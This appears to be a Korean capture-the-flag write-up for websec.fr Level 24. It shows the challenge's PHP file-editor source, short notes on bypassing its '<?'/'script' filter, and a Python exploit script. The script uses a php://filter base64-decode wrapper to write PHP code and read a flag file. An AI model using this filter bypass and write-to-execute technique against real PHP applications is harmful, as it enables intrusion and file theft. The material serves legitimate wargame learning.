source.php
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
session_start();
include 'clean_up.php';
/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
if (is_file($file)) {
unlink($file);
} else {
if (time() - filemtime($file) >= 60 * 60 * 24 * 7) {
Delete($file);
}
}
}
$upload_dir = sprintf("./uploads/%s/", session_id());
@mkdir($upload_dir, 0755, true);
/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir', '.');
$p = "list";
$data = "";
$filename = "";
if (isset($_GET['p']) && isset($_GET['filename']) ) {
$filename = $_GET['filename'];
if ($_GET['p'] === "edit") {
$p = "edit";
if (isset($_POST['data'])) {
$data = $_POST['data'];
if (strpos($data, '<?') === false && stripos($data, 'script') === false) { # no interpretable code please.
file_put_contents($_GET['filename'], $data);
die ('<meta http-equiv="refresh" content="0; url=.">');
}
} elseif (file_exists($_GET['filename'])){
$data = file_get_contents($_GET['filename']);
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level 24</title>
<link rel="stylesheet" href="https://websec.fr/static/bootstrap.min.css" />
<!-- Credits to blotus and bui for finding an unintended solution -->
</head>
<body>
<div class="container">
<div class="row">
<h1>Level TwentyFour<small> - Cloud-based plain-text storage</small></h1>
</div>
<div class="row">
<p class="lead">
Please enjoy our super-convenient cloud-based text storage facility,<br>
its sync-up scaled workflow connects with agile API worldwide on a global scale,<br>
to achieve synergy with outside the box diving devops.
<br><br>
Another fine level by our very own <mark>nurfed</mark>, that you can check the source <a href="source.php">here</a>.
</p>
</div>
<br>
<div class="row">
<?php if ($p === "list") {
echo "<div class='panel panel-default'>";
echo "<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
echo "<div class='panel-body'><ul>";
foreach (array_diff(scandir('.'), ['..', '.']) as $fn)
echo "<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
echo "</ul></div></div>";
?>
<form method="GET" class="form-inline">
<div class="form-group">
<input type="hidden" name="p" value="edit">
<label for="filename">Create a new file:</label>
<input class='form-control' type="text" name="filename" placeholder="file name">
</div>
<div class="form-group">
<button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
</div>
</form>
<?php } elseif ($p === "edit") {
echo "<div class='panel panel-default'>";
echo "<div class='panel-heading'><h3 class='panel-title''>";
echo "File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>×</span></a></h3>";
echo "</div>";
echo "<div class='panel-body'>";
echo "<form action='?p=edit&filename=$filename' method='post'>";
echo "<input type='hidden' name='filename' value='$filename'>";
echo "<textarea class='form-control' name='data' rows='6'>" . htmlentities($data) . "</textarea><br>";
echo "<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
echo "<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
echo "</form>";
echo "</div></div>";
} ?>
</div>
그냥 php 파일 올릴 수 있는데, 파일 내용에 php tag 및 script를 필터하고 있다.
첨엔 그냥 file_put_contents로 파일 만들길래 array넣어서 우회하면 끝나겠거니 했는데 입력 값 검증할때 preg_match 안쓰고 stripos쓰는 바람에 에러가 터져서 요 방법은 안됬다. 그래서 그냥 php wrapper써서 base64 인코딩된 값을 디코딩하면서 파일 내용 삽입하게 했다.
exploit.py
import requests
def exploit(payload,payload2):
url = "http://websec.fr/level24/index.php?p=edit&filename="+payload
headers = {"Cookie":"PHPSESSID=ho8silrj9h2rl1q2u8i0vig3gfsp68sq"}
data = {"data":payload2}
result = requests.post(url,headers=headers,data=data).text
print result
payload = "php://filter/convert.base64-decode/resource=123.php"
payload2 = "<?php echo file_get_contents('../../flag.php');?>".encode("base64")
exploit(payload,payload2)
print requests.get("http://websec.fr/level24/uploads/ho8silrj9h2rl1q2u8i0vig3gfsp68sq/123.php").text
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr medium level 05 (0) | 2019.08.23 |
---|---|
websec.fr medium level 03 (0) | 2019.08.23 |
websec.fr easy level 22 (0) | 2019.08.22 |
websec.fr easy level 13 (0) | 2019.08.22 |
websec.fr easy level20 (0) | 2019.08.22 |